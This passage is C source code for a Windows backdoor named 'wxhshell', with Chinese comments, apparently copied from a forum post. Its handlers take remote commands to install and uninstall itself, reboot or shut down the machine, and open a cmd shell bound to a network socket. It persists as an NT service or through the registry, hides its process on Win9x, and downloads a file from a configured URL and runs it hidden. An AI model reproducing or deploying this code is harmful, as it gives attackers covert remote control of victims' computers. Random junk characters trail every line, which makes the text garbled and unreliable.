      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); = ^Vp \  
    break; rHk,OC  
  } WiZTE(NM`  
  // 安装 E@n~ @|10  
  case 'i': { lI+^}-<  
    if(Install()) e+D]9wM8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >d *`K  
    else xR|^{y9n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O&yAFiCd  
    break; |0?v4%g  
    } ]61HQ  
  // 卸载 3D1y^I  
  case 'r': { ts}OE  
    if(Uninstall()) A*A/30o|R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3vjOfr`  
    else dv+ZxP%g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $mE3 FJP>  
    break; R!lug;u#  
    } RA;/ ?l  
  // 显示 wxhshell 所在路径 -sZb+2tDa  
  case 'p': { G%AO%II  
    char svExeFile[MAX_PATH]; EWgJ"WTF  
    strcpy(svExeFile,"\n\r"); Cb`,N  
      strcat(svExeFile,ExeFile); ~G-W|>  
        send(wsh,svExeFile,strlen(svExeFile),0); ZS;V?]\(  
    break; CV_M |  
    }  OK8Ho"  
  // 重启 <lWj-+m  
  case 'b': { &1?6Q_p6c  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /BD'{tZ]Sl  
    if(Boot(REBOOT)) YD;d*E%t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0@{0#W3R  
    else { @rDBK] V  
    closesocket(wsh); k0#s{<I]E  
    ExitThread(0); h]+;"v6 /  
    } \E<Qi3W>*  
    break; i/H;4#Bz  
    } gmgri   
  // 关机 >]xW{71F@  
  case 'd': { tHHJ|4C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R! On  
    if(Boot(SHUTDOWN)) EP>Lh7E9n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c@"FV,L>  
    else { 4,Oa(b  
    closesocket(wsh); _DT,iF*6  
    ExitThread(0); dJQK|/  
    } JbS[(+o  
    break; 19c_=$mV  
    } &qWB\m  
  // 获取shell >]ZE<.  
  case 's': { P}UxA!  
    CmdShell(wsh); N3aqNRwlk  
    closesocket(wsh); @ =~k[o  
    ExitThread(0); l U4 I*  
    break; |+::sL\r  
  } HKI\i)c  
  // 退出 _ SOwiz  
  case 'x': { FQ1B%u|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s }OL)rW=}  
    CloseIt(wsh); WZPj?ou`G  
    break; cs.t#C  
    } O-K*->5S  
  // 离开 'SoBB:  
  case 'q': { 5`+9<8V  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w,vnpdT  
    closesocket(wsh); ]+3M\ ib  
    WSACleanup(); \Cj3jg  
    exit(1); )lJAMZ 5xp  
    break; VjNr<~|d  
        } Z"_8 l3  
  } }r,xx{.u7  
  } 2[uFAgf@  
G.~ Q2O#T  
  // 提示信息 REE .8_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L 6fbR-&Lt  
} strM3j##x  
  } fCF.P"{W"  
X&LJ"ahK  
  return; v[{7\Hha  
} G9LWnyQt  
Sw,*#98  
// shell模块句柄 *AQ3RA8  
int CmdShell(SOCKET sock) #k|f>D4  
{ @6tczU}ak  
STARTUPINFO si; ;-@: }/  
ZeroMemory(&si,sizeof(si)); fpf,gb8[$n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5QuRwu_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +y8Y@e}>  
PROCESS_INFORMATION ProcessInfo; WysWg7,r  
char cmdline[]="cmd"; fRLA;1va  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =xRD %Z  
  return 0; xH{-UQ3R  
} '@ Y@Fs  
f^lcw  
// 自身启动模式 rTR"\u7&H  
int StartFromService(void) KCw  
{ *AW v  
typedef struct fW+ "Kuw  
{ {d;z3AB  
  DWORD ExitStatus; a{Y|`*7y  
  DWORD PebBaseAddress; 3en6 7l  
  DWORD AffinityMask; l5Ko9CG  
  DWORD BasePriority; aF+Lam(  
  ULONG UniqueProcessId; y*{zX=]l<  
  ULONG InheritedFromUniqueProcessId; gN:F50   
}   PROCESS_BASIC_INFORMATION; 7x>^ip"7  
Q2r[^Z  
PROCNTQSIP NtQueryInformationProcess; ;*j K!  
aK;OzB)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {}k3nJfE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k?&GL!?  
%A'mXatk  
  HANDLE             hProcess; Xm>zT'B_tJ  
  PROCESS_BASIC_INFORMATION pbi; YW&K,)L@  
OObAn^bt  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uGb+ *tD  
  if(NULL == hInst ) return 0; d4  \  
6',Hs  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zQ{bMj<S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); k)*apc\W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =Q<7[  
+ c3pe4  
  if (!NtQueryInformationProcess) return 0; *->*p35  
mHW%:a\L  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gt*K:KT=L  
  if(!hProcess) return 0; vr4r,[B6y  
h+j^VsP zB  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z{\tn.67  
`14@dk  
  CloseHandle(hProcess); |e2s\?nB0S  
m!w|~ Rk  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ' *a}*(0OA  
if(hProcess==NULL) return 0; W-#DEU 7_  
'q$Y m0nL  
HMODULE hMod; .#SgU<Wq  
char procName[255]; 1~K'r&  
unsigned long cbNeeded; B t}90#  
jIe /X]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~ E6e~  
y.D+M$f  
  CloseHandle(hProcess); gs3(B/";c  
z=U+FHdh/-  
if(strstr(procName,"services")) return 1; // 以服务启动 hIV]ZYbH  
6JZ>&HA  
  return 0; // 注册表启动 E9j<+Ik  
} -_5Dk'R#`  
8CUtY9.  
// 主模块 Gkem_Z  
int StartWxhshell(LPSTR lpCmdLine) T%6JVFD  
{ "X2'k@s`  
  SOCKET wsl; ]goJ- &  
BOOL val=TRUE; a<\n$E#q  
  int port=0; D|)_c1g  
  struct sockaddr_in door; lCp6UkE  
C/Z#NP~ *  
  if(wscfg.ws_autoins) Install(); \UZGXk  
99ZWB  
port=atoi(lpCmdLine); :qbU@)p*  
$RY-yKmi  
if(port<=0) port=wscfg.ws_port; u_' -vZ_  
DoQ^caa@  
  WSADATA data; ;6pB7N  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ):>?N`{V  
k6ry"W3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YAT@xZs-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7,p.M)t)  
  door.sin_family = AF_INET; ^Z9bA(w8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); mJ<`/p?:  
  door.sin_port = htons(port); P:.jb!ZU  
Ya\:C]   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dGOFSH  
closesocket(wsl); tmS2%1o  
return 1; i'H]N8,A  
} 5Z; 5?\g  
j]kgdAq>  
  if(listen(wsl,2) == INVALID_SOCKET) { )GVTa4}p  
closesocket(wsl); [T =>QS@g  
return 1; NN'pBU R  
} |\uj(|  
  Wxhshell(wsl); <dP \vLH_  
  WSACleanup(); i;C` .+  
)4B`U(%M~  
return 0; zX*5yNd  
_`;KmD&5  
} `dV2\^*A  
|}z5ST%  
// 以NT服务方式启动 OeASB}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~%=%5}  
{ W[Q<# Ju  
DWORD   status = 0; T~/>U&k}J  
  DWORD   specificError = 0xfffffff; GIE QD$vy  
& tT6.@kH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oX:&;KA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZYWGP:Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &v((tZ  
  serviceStatus.dwWin32ExitCode     = 0; i *:QbMb  
  serviceStatus.dwServiceSpecificExitCode = 0; rbdrs  
  serviceStatus.dwCheckPoint       = 0; @H#Fzoo.  
  serviceStatus.dwWaitHint       = 0; .lb]Xa*n  
K2x2Y=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); QK6_dIvDz  
  if (hServiceStatusHandle==0) return; q1u$Sm  
GNv{ Ij<  
status = GetLastError(); w%qnH e9  
  if (status!=NO_ERROR) X:Wd%CHP  
{ v.8kGF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n4dNGp7\`  
    serviceStatus.dwCheckPoint       = 0; @, fvWNI  
    serviceStatus.dwWaitHint       = 0; #6|ve?`I  
    serviceStatus.dwWin32ExitCode     = status; ";7N$hWE  
    serviceStatus.dwServiceSpecificExitCode = specificError; P=,\wM6T|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %!A:Ka!m.  
    return; t27UlFX  
  } ck0%H#BYY  
D1-/#QN$1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; TPBQfp%HU  
  serviceStatus.dwCheckPoint       = 0; J i@q7qkC  
  serviceStatus.dwWaitHint       = 0; ?:`sE"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ps2j]g  
} 02[m{a-  
Q?1.GuF  
// 处理NT服务事件,比如:启动、停止 a_}C*+D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \K\eq>@6  
{ "t^RZ45  
switch(fdwControl) f4.jWBF  
{ "$(D7yFO  
case SERVICE_CONTROL_STOP: tL;.vRx  
  serviceStatus.dwWin32ExitCode = 0; ;yN Y/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v]on0Pi!  
  serviceStatus.dwCheckPoint   = 0; .-HM{6J  
  serviceStatus.dwWaitHint     = 0; };rp25i  
  { )tJaw#Mih  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Ltx2CB2]  
  } )=}qAVO8  
  return; &aIFtlC  
case SERVICE_CONTROL_PAUSE: } G{"Mp4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `)8~/G%  
  break; _GxC|d  
case SERVICE_CONTROL_CONTINUE: w=_^n]`R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5TpvJ1G  
  break; `+< ^Svou  
case SERVICE_CONTROL_INTERROGATE: >2>/ q?  
  break; HN`qMGW^  
}; Conik`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =\2gnk~  
} am? k  
 YMv}]  
// 标准应用程序主函数 &@@PJ!&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w?u3e+  
{ jG&HPVr  
\Db`RvEmR  
// 获取操作系统版本 3S_H&>K  
OsIsNt=GetOsVer(); ;\A_-a_(#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8%;Wyqdf]  
30WOH 'n  
  // 从命令行安装 LYYz=oZOE!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0U% tjYk(  
&8i$`6wY  
  // 下载执行文件 `~d7l@6F  
if(wscfg.ws_downexe) { \8ZVI98  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A/a=)s u  
  WinExec(wscfg.ws_filenam,SW_HIDE); CB>W# P%  
} (|AZO!  
X(E`cH |  
if(!OsIsNt) { )b]!IP3  
// 如果时win9x,隐藏进程并且设置为注册表启动 ENqZ=Lyq  
HideProc(); %pxJ27Q  
StartWxhshell(lpCmdLine); rlh:| #GTJ  
} iTdamu`L  
else kw z6SObQ  
  if(StartFromService()) `,~'T [  
  // 以服务方式启动 \(Nx)F  
  StartServiceCtrlDispatcher(DispatchTable); j<!dpt  
else a Tm R~k  
  // 普通方式启动 z0\ $# r^I  
  StartWxhshell(lpCmdLine); tQNc+>7k+u  
$2*_7_Qb  
return 0; b 4^O=  
}
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只看该作者 1 发表于: 2006-10-10
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